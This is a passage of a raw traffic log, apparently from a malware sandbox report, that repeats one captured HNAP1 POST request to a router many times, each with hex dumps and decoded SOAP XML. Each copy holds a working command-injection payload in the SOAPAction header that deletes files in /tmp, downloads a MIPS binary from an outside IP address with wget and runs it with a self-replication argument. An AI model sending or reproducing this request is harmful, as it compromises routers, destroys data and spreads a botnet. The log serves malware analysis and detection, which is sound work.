45 78 74 65 72 6e 61 6c 50 6f 72 74 3e 3c 49 6e 74 65 72 6e 61 6c 50 6f 72 74 3e 31 32 33 34 3c 2f 49 6e 74 65 72 6e 61 6c 50 6f 72 74 3e 3c 2f 41 64 64 50 6f 72 74 4d 61 70 70 69 6e 67 3e 3c 2f 73 6f 61 70 3a 42 6f 64 79 3e 3c 2f 73 6f 61 70 3a 45 6e 76 65 6c 6f 70 65 3e 0d 0a 0d 0a Data Ascii: <?xml version="1.0" encoding="utf-8"?><soap:Envelope xmlns:xsi="http://www.w3.org/2001/XMLSchema-instance" xmlns:xsd="http://www.w3.org/2001/XMLSchema" xmlns:soap="http://schemas.xmlsoap.org/soap/envelope/"><soap:Body><AddPortMapping xmlns="http://purenetworks.com/HNAP1/"><PortMappingDescription>foobar</PortMappingDescription><InternalClient>192.168.0.100</InternalClient><PortMappingProtocol>TCP</PortMappingProtocol><ExternalPort>1234</ExternalPort><InternalPort>1234</InternalPort></AddPortMapping></soap:Body></soap:Envelope>
Source: global traffic	HTTP traffic detected: POST /HNAP1/ HTTP/1.0Content-Type: text/xml; charset="utf-8"SOAPAction: http://purenetworks.com/HNAP1/`cd /tmp && rm -rf * && wget http://15.235.203.214/bolonetwork.mips && chmod +x bolonetwork.mips;./bolonetwork.mips selfrep.hnap`Content-Length: 640Data Raw: 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 3c 73 6f 61 70 3a 45 6e 76 65 6c 6f 70 65 20 78 6d 6c 6e 73 3a 78 73 69 3d 22 68 74 74 70 3a 2f 2f 77 77 77 2e 77 33 2e 6f 72 67 2f 32 30 30 31 2f 58 4d 4c 53 63 68 65 6d 61 2d 69 6e 73 74 61 6e 63 65 22 20 78 6d 6c 6e 73 3a 78 73 64 3d 22 68 74 74 70 3a 2f 2f 77 77 77 2e 77 33 2e 6f 72 67 2f 32 30 30 31 2f 58 4d 4c 53 63 68 65 6d 61 22 20 78 6d 6c 6e 73 3a 73 6f 61 70 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 76 65 6c 6f 70 65 2f 22 3e 3c 73 6f 61 70 3a 42 6f 64 79 3e 3c 41 64 64 50 6f 72 74 4d 61 70 70 69 6e 67 20 78 6d 6c 6e 73 3d 22 68 74 74 70 3a 2f 2f 70 75 72 65 6e 65 74 77 6f 72 6b 73 2e 63 6f 6d 2f 48 4e 41 50 31 2f 22 3e 3c 50 6f 72 74 4d 61 70 70 69 6e 67 44 65 73 63 72 69 70 74 69 6f 6e 3e 66 6f 6f 62 61 72 3c 2f 50 6f 72 74 4d 61 70 70 69 6e 67 44 65 73 63 72 69 70 74 69 6f 6e 3e 3c 49 6e 74 65 72 6e 61 6c 43 6c 69 65 6e 74 3e 31 39 32 2e 31 36 38 2e 30 2e 31 30 30 3c 2f 49 6e 74 65 72 6e 61 6c 43 6c 69 65 6e 74 3e 3c 50 6f 72 74 4d 61 70 70 69 6e 67 50 72 6f 74 6f 63 6f 6c 3e 54 43 50 3c 2f 50 6f 72 74 4d 61 70 70 69 6e 67 50 72 6f 74 6f 63 6f 6c 3e 3c 45 78 74 65 72 6e 61 6c 50 6f 72 74 3e 31 32 33 34 3c 2f 45 78 74 65 72 6e 61 6c 50 6f 72 74 3e 3c 49 6e 74 65 72 6e 61 6c 50 6f 72 74 3e 31 32 33 34 3c 2f 49 6e 74 65 72 6e 61 6c 50 6f 72 74 3e 3c 2f 41 64 64 50 6f 72 74 4d 61 70 70 69 6e 67 3e 3c 2f 73 6f 61 70 3a 42 6f 64 79 3e 3c 2f 73 6f 61 70 3a 45 6e 76 65 6c 6f 70 65 3e 0d 0a 0d 0a Data Ascii: <?xml version="1.0" encoding="utf-8"?><soap:Envelope xmlns:xsi="http://www.w3.org/2001/XMLSchema-instance" xmlns:xsd="http://www.w3.org/2001/XMLSchema" xmlns:soap="http://schemas.xmlsoap.org/soap/envelope/"><soap:Body><AddPortMapping xmlns="http://purenetworks.com/HNAP1/"><PortMappingDescription>foobar</PortMappingDescription><InternalClient>192.168.0.100</InternalClient><PortMappingProtocol>TCP</PortMappingProtocol><ExternalPort>1234</ExternalPort><InternalPort>1234</InternalPort></AddPortMapping></soap:Body></soap:Envelope>
Source: global traffic	HTTP traffic detected: POST /HNAP1/ HTTP/1.0Content-Type: text/xml; charset="utf-8"SOAPAction: http://purenetworks.com/HNAP1/`cd /tmp && rm -rf * && wget http://15.235.203.214/bolonetwork.mips && chmod +x bolonetwork.mips;./bolonetwork.mips selfrep.hnap`Content-Length: 640Data Raw: 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 3c 73 6f 61 70 3a 45 6e 76 65 6c 6f 70 65 20 78 6d 6c 6e 73 3a 78 73 69 3d 22 68 74 74 70 3a 2f 2f 77 77 77 2e 77 33 2e 6f 72 67 2f 32 30 30 31 2f 58 4d 4c 53 63 68 65 6d 61 2d 69 6e 73 74 61 6e 63 65 22 20 78 6d 6c 6e 73 3a 78 73 64 3d 22 68 74 74 70 3a 2f 2f 77 77 77 2e 77 33 2e 6f 72 67 2f 32 30 30 31 2f 58 4d 4c 53 63 68 65 6d 61 22 20 78 6d 6c 6e 73 3a 73 6f 61 70 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 76 65 6c 6f 70 65 2f 22 3e 3c 73 6f 61 70 3a 42 6f 64 79 3e 3c 41 64 64 50 6f 72 74 4d 61 70 70 69 6e 67 20 78 6d 6c 6e 73 3d 22 68 74 74 70 3a 2f 2f 70 75 72 65 6e 65 74 77 6f 72 6b 73 2e 63 6f 6d 2f 48 4e 41 50 31 2f 22 3e 3c 50 6f 72 74 4d 61 70 70 69 6e 67 44 65 73 63 72 69 70 74 69 6f 6e 3e 66 6f 6f 62 61 72 3c 2f 50 6f 72 74 4d 61 70 70 69 6e 67 44 65 73 63 72 69 70 74 69 6f 6e 3e 3c 49 6e 74 65 72 6e 61 6c 43 6c 69 65 6e 74 3e 31 39 32 2e 31 36 38 2e 30 2e 31 30 30 3c 2f 49 6e 74 65 72 6e 61 6c 43 6c 69 65 6e 74 3e 3c 50 6f 72 74 4d 61 70 70 69 6e 67 50 72 6f 74 6f 63 6f 6c 3e 54 43 50 3c 2f 50 6f 72 74 4d 61 70 70 69 6e 67 50 72 6f 74 6f 63 6f 6c 3e 3c 45 78 74 65 72 6e 61 6c 50 6f 72 74 3e 31 32 33 34 3c 2f 45 78 74 65 72 6e 61 6c 50 6f 72 74 3e 3c 49 6e 74 65 72 6e 61 6c 50 6f 72 74 3e 31 32 33 34 3c 2f 49 6e 74 65 72 6e 61 6c 50 6f 72 74 3e 3c 2f 41 64 64 50 6f 72 74 4d 61 70 70 69 6e 67 3e 3c 2f 73 6f 61 70 3a 42 6f 64 79 3e 3c 2f 73 6f 61 70 3a 45 6e 76 65 6c 6f 70 65 3e 0d 0a 0d 0a Data Ascii: <?xml version="1.0" encoding="utf-8"?><soap:Envelope xmlns:xsi="http://www.w3.org/2001/XMLSchema-instance" xmlns:xsd="http://www.w3.org/2001/XMLSchema" xmlns:soap="http://schemas.xmlsoap.org/soap/envelope/"><soap:Body><AddPortMapping xmlns="http://purenetworks.com/HNAP1/"><PortMappingDescription>foobar</PortMappingDescription><InternalClient>192.168.0.100</InternalClient><PortMappingProtocol>TCP</PortMappingProtocol><ExternalPort>1234</ExternalPort><InternalPort>1234</InternalPort></AddPortMapping></soap:Body></soap:Envelope>
Source: global traffic	HTTP traffic detected: POST /HNAP1/ HTTP/1.0Content-Type: text/xml; charset="utf-8"SOAPAction: http://purenetworks.com/HNAP1/`cd /tmp && rm -rf * && wget http://15.235.203.214/bolonetwork.mips && chmod +x bolonetwork.mips;./bolonetwork.mips selfrep.hnap`Content-Length: 640Data Raw: 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 3c 73 6f 61 70 3a 45 6e 76 65 6c 6f 70 65 20 78 6d 6c 6e 73 3a 78 73 69 3d 22 68 74 74 70 3a 2f 2f 77 77 77 2e 77 33 2e 6f 72 67 2f 32 30 30 31 2f 58 4d 4c 53 63 68 65 6d 61 2d 69 6e 73 74 61 6e 63 65 22 20 78 6d 6c 6e 73 3a 78 73 64 3d 22 68 74 74 70 3a 2f 2f 77 77 77 2e 77 33 2e 6f 72 67 2f 32 30 30 31 2f 58 4d 4c 53 63 68 65 6d 61 22 20 78 6d 6c 6e 73 3a 73 6f 61 70 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 76 65 6c 6f 70 65 2f 22 3e 3c 73 6f 61 70 3a 42 6f 64 79 3e 3c 41 64 64 50 6f 72 74 4d 61 70 70 69 6e 67 20 78 6d 6c 6e 73 3d 22 68 74 74 70 3a 2f 2f 70 75 72 65 6e 65 74 77 6f 72 6b 73 2e 63 6f 6d 2f 48 4e 41 50 31 2f 22 3e 3c 50 6f 72 74 4d 61 70 70 69 6e 67 44 65 73 63 72 69 70 74 69 6f 6e 3e 66 6f 6f 62 61 72 3c 2f 50 6f 72 74 4d 61 70 70 69 6e 67 44 65 73 63 72 69 70 74 69 6f 6e 3e 3c 49 6e 74 65 72 6e 61 6c 43 6c 69 65 6e 74 3e 31 39 32 2e 31 36 38 2e 30 2e 31 30 30 3c 2f 49 6e 74 65 72 6e 61 6c 43 6c 69 65 6e 74 3e 3c 50 6f 72 74 4d 61 70 70 69 6e 67 50 72 6f 74 6f 63 6f 6c 3e 54 43 50 3c 2f 50 6f 72 74 4d 61 70 70 69 6e 67 50 72 6f 74 6f 63 6f 6c 3e 3c 45 78 74 65 72 6e 61 6c 50 6f 72 74 3e 31 32 33 34 3c 2f 45 78 74 65 72 6e 61 6c 50 6f 72 74 3e 3c 49 6e 74 65 72 6e 61 6c 50 6f 72 74 3e 31 32 33 34 3c 2f 49 6e 74 65 72 6e 61 6c 50 6f 72 74 3e 3c 2f 41 64 64 50 6f 72 74 4d 61 70 70 69 6e 67 3e 3c 2f 73 6f 61 70 3a 42 6f 64 79 3e 3c 2f 73 6f 61 70 3a 45 6e 76 65 6c 6f 70 65 3e 0d 0a 0d 0a Data Ascii: <?xml version="1.0" encoding="utf-8"?><soap:Envelope xmlns:xsi="http://www.w3.org/2001/XMLSchema-instance" xmlns:xsd="http://www.w3.org/2001/XMLSchema" xmlns:soap="http://schemas.xmlsoap.org/soap/envelope/"><soap:Body><AddPortMapping xmlns="http://purenetworks.com/HNAP1/"><PortMappingDescription>foobar</PortMappingDescription><InternalClient>192.168.0.100</InternalClient><PortMappingProtocol>TCP</PortMappingProtocol><ExternalPort>1234</ExternalPort><InternalPort>1234</InternalPort></AddPortMapping></soap:Body></soap:Envelope>
Source: global traffic	HTTP traffic detected: POST /HNAP1/ HTTP/1.0Content-Type: text/xml; charset="utf-8"SOAPAction: http://purenetworks.com/HNAP1/`cd /tmp && rm -rf * && wget http://15.235.203.214/bolonetwork.mips && chmod +x bolonetwork.mips;./bolonetwork.mips selfrep.hnap`Content-Length: 640Data Raw: 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 3c 73 6f 61 70 3a 45 6e 76 65 6c 6f 70 65 20 78 6d 6c 6e 73 3a 78 73 69 3d 22 68 74 74 70 3a 2f 2f 77 77 77 2e 77 33 2e 6f 72 67 2f 32 30 30 31 2f 58 4d 4c 53 63 68 65 6d 61 2d 69 6e 73 74 61 6e 63 65 22 20 78 6d 6c 6e 73 3a 78 73 64 3d 22 68 74 74 70 3a 2f 2f 77 77 77 2e 77 33 2e 6f 72 67 2f 32 30 30 31 2f 58 4d 4c 53 63 68 65 6d 61 22 20 78 6d 6c 6e 73 3a 73 6f 61 70 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 76 65 6c 6f 70 65 2f 22 3e 3c 73 6f 61 70 3a 42 6f 64 79 3e 3c 41 64 64 50 6f 72 74 4d 61 70 70 69 6e 67 20 78 6d 6c 6e 73 3d 22 68 74 74 70 3a 2f 2f 70 75 72 65 6e 65 74 77 6f 72 6b 73 2e 63 6f 6d 2f 48 4e 41 50 31 2f 22 3e 3c 50 6f 72 74 4d 61 70 70 69 6e 67 44 65 73 63 72 69 70 74 69 6f 6e 3e 66 6f 6f 62 61 72 3c 2f 50 6f 72 74 4d 61 70 70 69 6e 67 44 65 73 63 72 69 70 74 69 6f 6e 3e 3c 49 6e 74 65 72 6e 61 6c 43 6c 69 65 6e 74 3e 31 39 32 2e 31 36 38 2e 30 2e 31 30 30 3c 2f 49 6e 74 65 72 6e 61 6c 43 6c 69 65 6e 74 3e 3c 50 6f 72 74 4d 61 70 70 69 6e 67 50 72 6f 74 6f 63 6f 6c 3e 54 43 50 3c 2f 50 6f 72 74 4d 61 70 70 69 6e 67 50 72 6f 74 6f 63 6f 6c 3e 3c 45 78 74 65 72 6e 61 6c 50 6f 72 74 3e 31 32 33 34 3c 2f 45 78 74 65 72 6e 61 6c 50 6f 72 74 3e 3c 49 6e 74 65 72 6e 61 6c 50 6f 72 74 3e 31 32 33 34 3c 2f 49 6e 74 65 72 6e 61 6c 50 6f 72 74 3e 3c 2f 41 64 64 50 6f 72 74 4d 61 70 70 69 6e 67 3e 3c 2f 73 6f 61 70 3a 42 6f 64 79 3e 3c 2f 73 6f 61 70 3a 45 6e 76 65 6c 6f 70 65 3e 0d 0a 0d 0a Data Ascii: <?xml version="1.0" encoding="utf-8"?><soap:Envelope xmlns:xsi="http://www.w3.org/2001/XMLSchema-instance" xmlns:xsd="http://www.w3.org/2001/XMLSchema" xmlns:soap="http://schemas.xmlsoap.org/soap/envelope/"><soap:Body><AddPortMapping xmlns="http://purenetworks.com/HNAP1/"><PortMappingDescription>foobar</PortMappingDescription><InternalClient>192.168.0.100</InternalClient><PortMappingProtocol>TCP</PortMappingProtocol><ExternalPort>1234</ExternalPort><InternalPort>1234</InternalPort></AddPortMapping></soap:Body></soap:Envelope>
Source: global traffic	HTTP traffic detected: POST /HNAP1/ HTTP/1.0Content-Type: text/xml; charset="utf-8"SOAPAction: http://purenetworks.com/HNAP1/`cd /tmp && rm -rf * && wget http://15.235.203.214/bolonetwork.mips && chmod +x bolonetwork.mips;./bolonetwork.mips selfrep.hnap`Content-Length: 640Data Raw: 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 3c 73 6f 61 70 3a 45 6e 76 65 6c 6f 70 65 20 78 6d 6c 6e 73 3a 78 73 69 3d 22 68 74 74 70 3a 2f 2f 77 77 77 2e 77 33 2e 6f 72 67 2f 32 30 30 31 2f 58 4d 4c 53 63 68 65 6d 61 2d 69 6e 73 74 61 6e 63 65 22 20 78 6d 6c 6e 73 3a 78 73 64 3d 22 68 74 74 70 3a 2f 2f 77 77 77 2e 77 33 2e 6f 72 67 2f 32 30 30 31 2f 58 4d 4c 53 63 68 65 6d 61 22 20 78 6d 6c 6e 73 3a 73 6f 61 70 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 76 65 6c 6f 70 65 2f 22 3e 3c 73 6f 61 70 3a 42 6f 64 79 3e 3c 41 64 64 50 6f 72 74 4d 61 70 70 69 6e 67 20 78 6d 6c 6e 73 3d 22 68 74 74 70 3a 2f 2f 70 75 72 65 6e 65 74 77 6f 72 6b 73 2e 63 6f 6d 2f 48 4e 41 50 31 2f 22 3e 3c 50 6f 72 74 4d 61 70 70 69 6e 67 44 65 73 63 72 69 70 74 69 6f 6e 3e 66 6f 6f 62 61 72 3c 2f 50 6f 72 74 4d 61 70 70 69 6e 67 44 65 73 63 72 69 70 74 69 6f 6e 3e 3c 49 6e 74 65 72 6e 61 6c 43 6c 69 65 6e 74 3e 31 39 32 2e 31 36 38 2e 30 2e 31 30 30 3c 2f 49 6e 74 65 72 6e 61 6c 43 6c 69 65 6e 74 3e 3c 50 6f 72 74 4d 61 70 70 69 6e 67 50 72 6f 74 6f 63 6f 6c 3e 54 43 50 3c 2f 50 6f 72 74 4d 61 70 70 69 6e 67 50 72 6f 74 6f 63 6f 6c 3e 3c 45 78 74 65 72 6e 61 6c 50 6f 72 74 3e 31 32 33 34 3c 2f 45 78 74 65 72 6e 61 6c 50 6f 72 74 3e 3c 49 6e 74 65 72 6e 61 6c 50 6f 72 74 3e 31 32 33 34 3c 2f 49 6e 74 65 72 6e 61 6c 50 6f 72 74 3e 3c 2f 41 64 64 50 6f 72 74 4d 61 70 70 69 6e 67 3e 3c 2f 73 6f 61 70 3a 42 6f 64 79 3e 3c 2f 73 6f 61 70 3a 45 6e 76 65 6c 6f 70 65 3e 0d 0a 0d 0a Data Ascii: <?xml version="1.0" encoding="utf-8"?><soap:Envelope xmlns:xsi="http://www.w3.org/2001/XMLSchema-instance" xmlns:xsd="http://www.w3.org/2001/XMLSchema" xmlns:soap="http://schemas.xmlsoap.org/soap/envelope/"><soap:Body><AddPortMapping xmlns="http://purenetworks.com/HNAP1/"><PortMappingDescription>foobar</PortMappingDescription><InternalClient>192.168.0.100</InternalClient><PortMappingProtocol>TCP</PortMappingProtocol><ExternalPort>1234</ExternalPort><InternalPort>1234</InternalPort></AddPortMapping></soap:Body></soap:Envelope>
Source: global traffic	HTTP traffic detected: POST /HNAP1/ HTTP/1.0Content-Type: text/xml; charset="utf-8"SOAPAction: http://purenetworks.com/HNAP1/`cd /tmp && rm -rf * && wget http://15.235.203.214/bolonetwork.mips && chmod +x bolonetwork.mips;./bolonetwork.mips selfrep.hnap`Content-Length: 640Data Raw: 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 3c 73 6f 61 70 3a 45 6e 76 65 6c 6f 70 65 20 78 6d 6c 6e 73 3a 78 73 69 3d 22 68 74 74 70 3a 2f 2f 77 77 77 2e 77 33 2e 6f 72 67 2f 32 30 30 31 2f 58 4d 4c 53 63 68 65 6d 61 2d 69 6e 73 74 61 6e 63 65 22 20 78 6d 6c 6e 73 3a 78 73 64 3d 22 68 74 74 70 3a 2f 2f 77 77 77 2e 77 33 2e 6f 72 67 2f 32 30 30 31 2f 58 4d 4c 53 63 68 65 6d 61 22 20 78 6d 6c 6e 73 3a 73 6f 61 70 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 76 65 6c 6f 70 65 2f 22 3e 3c 73 6f 61 70 3a 42 6f 64 79 3e 3c 41 64 64 50 6f 72 74 4d 61 70 70 69 6e 67 20 78 6d 6c 6e 73 3d 22 68 74 74 70 3a 2f 2f 70 75 72 65 6e 65 74 77 6f 72 6b 73 2e 63 6f 6d 2f 48 4e 41 50 31 2f 22 3e 3c 50 6f 72 74 4d 61 70 70 69 6e 67 44 65 73 63 72 69 70 74 69 6f 6e 3e 66 6f 6f 62 61 72 3c 2f 50 6f 72 74 4d 61 70 70 69 6e 67 44 65 73 63 72 69 70 74 69 6f 6e 3e 3c 49 6e 74 65 72 6e 61 6c 43 6c 69 65 6e 74 3e 31 39 32 2e 31 36 38 2e 30 2e 31 30 30 3c 2f 49 6e 74 65 72 6e 61 6c 43 6c 69 65 6e 74 3e 3c 50 6f 72 74 4d 61 70 70 69 6e 67 50 72 6f 74 6f 63 6f 6c 3e 54 43 50 3c 2f 50 6f 72 74 4d 61 70 70 69 6e 67 50 72 6f 74 6f 63 6f 6c 3e 3c 45 78 74 65 72 6e 61 6c 50 6f 72 74 3e 31 32 33 34 3c 2f 45 78 74 65 72 6e 61 6c 50 6f 72 74 3e 3c 49 6e 74 65 72 6e 61 6c 50 6f 72 74 3e 31 32 33 34 3c 2f 49 6e 74 65 72 6e 61 6c 50 6f 72 74 3e 3c 2f 41 64 64 50 6f 72 74 4d 61 70 70 69 6e 67 3e 3c 2f 73 6f 61 70 3a 42 6f 64 79 3e 3c 2f 73 6f 61 70 3a 45 6e 76 65 6c 6f 70 65 3e 0d 0a 0d 0a Data Ascii: <?xml version="1.0" encoding="utf-8"?><soap:Envelope xmlns:xsi="http://www.w3.org/2001/XMLSchema-instance" xmlns:xsd="http://www.w3.org/2001/XMLSchema" xmlns:soap="http://schemas.xmlsoap.org/soap/envelope/"><soap:Body><AddPortMapping xmlns="http://purenetworks.com/HNAP1/"><PortMappingDescription>foobar</PortMappingDescription><InternalClient>192.168.0.100</InternalClient><PortMappingProtocol>TCP</PortMappingProtocol><ExternalPort>1234</ExternalPort><InternalPort>1234</InternalPort></AddPortMapping></soap:Body></soap:Envelope>
Source: global traffic	HTTP traffic detected: POST /HNAP1/ HTTP/1.0Content-Type: text/xml; charset="utf-8"SOAPAction: http://purenetworks.com/HNAP1/`cd /tmp && rm -rf * && wget http://15.235.203.214/bolonetwork.mips && chmod +x bolonetwork.mips;./bolonetwork.mips selfrep.hnap`Content-Length: 640Data Raw: 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 3c 73 6f 61 70 3a 45 6e 76 65 6c 6f 70 65 20 78 6d 6c 6e 73 3a 78 73 69 3d 22 68 74 74 70 3a 2f 2f 77 77 77 2e 77 33 2e 6f 72 67 2f 32 30 30 31 2f 58 4d 4c 53 63 68 65 6d 61 2d 69 6e 73 74 61 6e 63 65 22 20 78 6d 6c 6e 73 3a 78 73 64 3d 22 68 74 74 70 3a 2f 2f 77 77 77 2e 77 33 2e 6f 72 67 2f 32 30 30 31 2f 58 4d 4c 53 63 68 65 6d 61 22 20 78 6d 6c 6e 73 3a 73 6f 61 70 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 76 65 6c 6f 70 65 2f 22 3e 3c 73 6f 61 70 3a 42 6f 64 79 3e 3c 41 64 64 50 6f 72 74 4d 61 70 70 69 6e 67 20 78 6d 6c 6e 73 3d 22 68 74 74 70 3a 2f 2f 70 75 72 65 6e 65 74 77 6f 72 6b 73 2e 63 6f 6d 2f 48 4e 41 50 31 2f 22 3e 3c 50 6f 72 74 4d 61 70 70 69 6e 67 44 65 73 63 72 69 70 74 69 6f 6e 3e 66 6f 6f 62 61 72 3c 2f 50 6f 72 74 4d 61 70 70 69 6e 67 44 65 73 63 72 69 70 74 69 6f 6e 3e 3c 49 6e 74 65 72 6e 61 6c 43 6c 69 65 6e 74 3e 31 39 32 2e 31 36 38 2e 30 2e 31 30 30 3c 2f 49 6e 74 65 72 6e 61 6c 43 6c 69 65 6e 74 3e 3c 50 6f 72 74 4d 61 70 70 69 6e 67 50 72 6f 74 6f 63 6f 6c 3e 54 43 50 3c 2f 50 6f 72 74 4d 61 70 70 69 6e 67 50 72 6f 74 6f 63 6f 6c 3e 3c 45 78 74 65 72 6e 61 6c 50 6f 72 74 3e 31 32 33 34 3c 2f 45 78 74 65 72 6e 61 6c 50 6f 72 74 3e 3c 49 6e 74 65 72 6e 61 6c 50 6f 72 74 3e 31 32 33 34 3c 2f 49 6e 74 65 72 6e 61 6c 50 6f 72 74 3e 3c 2f 41 64 64 50 6f 72 74 4d 61 70 70 69 6e 67 3e 3c 2f 73 6f 61 70 3a 42 6f 64 79 3e 3c 2f 73 6f 61 70 3a 45 6e 76 65 6c 6f 70 65 3e 0d 0a 0d 0a Data Ascii: <?xml version="1.0" encoding="utf-8"?><soap:Envelope xmlns:xsi="http://www.w3.org/2001/XMLSchema-instance" xmlns:xsd="http://www.w3.org/2001/XMLSchema" xmlns:soap="http://schemas.xmlsoap.org/soap/envelope/"><soap:Body><AddPortMapping xmlns="http://purenetworks.com/HNAP1/"><PortMappingDescription>foobar</PortMappingDescription><InternalClient>192.168.0.100</InternalClient><PortMappingProtocol>TCP</PortMappingProtocol><ExternalPort>1234</ExternalPort><InternalPort>1234</InternalPort></AddPortMapping></soap:Body></soap:Envelope>
Source: global traffic	HTTP traffic detected: POST /HNAP1/ HTTP/1.0Content-Type: text/xml; charset="utf-8"SOAPAction: http://purenetworks.com/HNAP1/`cd /tmp && rm -rf * && wget http://15.235.203.214/bolonetwork.mips && chmod +x bolonetwork.mips;./bolonetwork.mips selfrep.hnap`Content-Length: 640Data Raw: 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 3c 73 6f 61 70 3a 45 6e 76 65 6c 6f 70 65 20 78 6d 6c 6e 73 3a 78 73 69 3d 22 68 74 74 70 3a 2f 2f 77 77 77 2e 77 33 2e 6f 72 67 2f 32 30 30 31 2f 58 4d 4c 53 63 68 65 6d 61 2d 69 6e 73 74 61 6e 63 65 22 20 78 6d 6c 6e 73 3a 78 73 64 3d 22 68 74 74 70 3a 2f 2f 77 77 77 2e 77 33 2e 6f 72 67 2f 32 30 30 31 2f 58 4d 4c 53 63 68 65 6d 61 22 20 78 6d 6c 6e 73 3a 73 6f 61 70 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 76 65 6c 6f 70 65 2f 22 3e 3c 73 6f 61 70 3a 42 6f 64 79 3e 3c 41 64 64 50 6f 72 74 4d 61 70 70 69 6e 67 20 78 6d 6c 6e 73 3d 22 68 74 74 70 3a 2f 2f 70 75 72 65 6e 65 74 77 6f 72 6b 73 2e 63 6f 6d 2f 48 4e 41 50 31 2f 22 3e 3c 50 6f 72 74 4d 61 70 70 69 6e 67 44 65 73 63 72 69 70 74 69 6f 6e 3e 66 6f 6f 62 61 72 3c 2f 50 6f 72 74 4d 61 70 70 69 6e 67 44 65 73 63 72 69 70 74 69 6f 6e 3e 3c 49 6e 74 65 72 6e 61 6c 43 6c 69 65 6e 74 3e 31 39 32 2e 31 36 38 2e 30 2e 31 30 30 3c 2f 49 6e 74 65 72 6e 61 6c 43 6c 69 65 6e 74 3e 3c 50 6f 72 74 4d 61 70 70 69 6e 67 50 72 6f 74 6f 63 6f 6c 3e 54 43 50 3c 2f 50 6f 72 74 4d 61 70 70 69 6e 67 50 72 6f 74 6f 63 6f 6c 3e 3c 45 78 74 65 72 6e 61 6c 50 6f 72 74 3e 31 32 33 34 3c 2f 45 78 74 65 72 6e 61 6c 50 6f 72 74 3e 3c 49 6e 74 65 72 6e 61 6c 50 6f 72 74 3e 31 32 33 34 3c 2f 49 6e 74 65 72 6e 61 6c 50 6f 72 74 3e 3c 2f 41 64 64 50 6f 72 74 4d 61 70 70 69 6e 67 3e 3c 2f 73 6f 61 70 3a 42 6f 64 79 3e 3c 2f 73 6f 61 70 3a 45 6e 76 65 6c 6f 70 65 3e 0d 0a 0d 0a Data Ascii: <?xml version="1.0" encoding="utf-8"?><soap:Envelope xmlns:xsi="http://www.w3.org/2001/XMLSchema-instance" xmlns:xsd="http://www.w3.org/2001/XMLSchema" xmlns:soap="http://schemas.xmlsoap.org/soap/envelope/"><soap:Body><AddPortMapping xmlns="http://purenetworks.com/HNAP1/"><PortMappingDescription>foobar</PortMappingDescription><InternalClient>192.168.0.100</InternalClient><PortMappingProtocol>TCP</PortMappingProtocol><ExternalPort>1234</ExternalPort><InternalPort>1234</InternalPort></AddPortMapping></soap:Body></soap:Envelope>
Source: global traffic	HTTP traffic detected: POST /HNAP1/ HTTP/1.0Content-Type: text/xml; charset="utf-8"SOAPAction: http://purenetworks.com/HNAP1/`cd /tmp && rm -rf * && wget http://15.235.203.214/bolonetwork.mips && chmod +x bolonetwork.mips;./bolonetwork.mips selfrep.hnap`Content-Length: 640Data Raw: 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 3c 73 6f 61 70 3a 45 6e 76 65 6c 6f 70 65 20 78 6d 6c 6e 73 3a 78 73 69 3d 22 68 74 74 70 3a 2f 2f 77 77 77 2e 77 33 2e 6f 72 67 2f 32 30 30 31 2f 58 4d 4c 53 63 68 65 6d 61 2d 69 6e 73 74 61 6e 63 65 22 20 78 6d 6c 6e 73 3a 78 73 64 3d 22 68 74 74 70 3a 2f 2f 77 77 77 2e 77 33 2e 6f 72 67 2f 32 30 30 31 2f 58 4d 4c 53 63 68 65 6d 61 22 20 78 6d 6c 6e 73 3a 73 6f 61 70 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 76 65 6c 6f 70 65 2f 22 3e 3c 73 6f 61 70 3a 42 6f 64 79 3e 3c 41 64 64 